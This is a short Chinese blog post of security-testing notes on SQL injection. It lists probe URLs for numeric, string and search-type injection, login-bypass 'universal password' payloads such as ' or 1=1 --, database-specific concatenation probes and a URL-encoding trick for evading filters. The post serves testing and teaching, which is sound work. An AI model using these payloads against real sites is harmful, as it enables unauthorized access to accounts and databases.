安全测试随笔-SQL注入

安全测试的类型:

SQL注入

XSS攻击

CSRF攻击

点击劫持

文件上传漏洞

破解加密算法

APP端饭圈测试。

 

 

 

------------------------

SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。造成SQL注入漏洞原因有两个:一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。
几种常见的判断方法:

1、数字型。测试方法:

http://host/test.php?id=100 and 1=1 //返回成功

http://host/test.php?id=100 and 1=2 //返回失败

2、字符型。测试方法:

http://host/test.php?name=rainman ‘ and ‘1’=‘1        //返回成功
http://host/test.php?name=rainman ‘ and ‘1’=‘2        //返回失败
http://host/test.php?name=rainman ‘ and ‘1’=‘2 ))     //使用括号进行语句闭合


3、搜索型。搜索型注入:简单的判断搜索型注入漏洞存在不存在的办法是:

1)先搜索('),如果出错,说明90%存在这个漏洞。
2)然后搜索(%),如果正常返回,说明95%有洞了。
3)然后再搜索一个关键字,比如(2006)吧,正常返回所有2006相关的信息。
4)再搜索(2006%'and 1=1 and '%'=')和(2006%'and 1=2 and '%'=')。

4、绕过验证(常见的为管理登陆)也称万能密码

(1) 用户名输入: ‘or 1=1 or’  密码:任意
(2) Admin’ -- (或’or 1=1 or’ --)(admin or 1=1 --) (MSSQL)(直接输入用户名,不进行密码验证)
(3) 用户名输入:admin   密码输入:’ or ‘1’=‘1  也可以
(4) 用户名输入:admin' or 'a'='a    密码输入:任意
(5) 用户名输入:’ or 1=1 --
(6) 用户名输入:admin’ or 1=1 --  密码输入:任意
(7) 用户名输入:1'or'1'='1'or'1'='1   密码输入:任意

5、不同的SQL服务器连结字符串的语法不同,比如MS SQL Server使用符号+来连结字符串,而Oracle使用符号||来连结:

http://host/test.jsp?ProdName=Book’       //返回错误
http://host/test.jsp?ProdName=B’+’ook     //返回正常
http://host/test.jsp?ProdName=B’||’ook    //返回正常说明有SQL注入
如果应用程序已经过滤了’和+等特殊字符,我们仍然可以在输入时过把字符转换成URL编码(即字符ASCII码的16进制)来绕过检查。


 

 

 

 

 

 

 

利用SQLmap

安装:https://blog.51cto.com/itafei/1893676

posted @ 2019-11-04 18:19  贱贱的小帅哥  阅读(170)  评论(0)    收藏  举报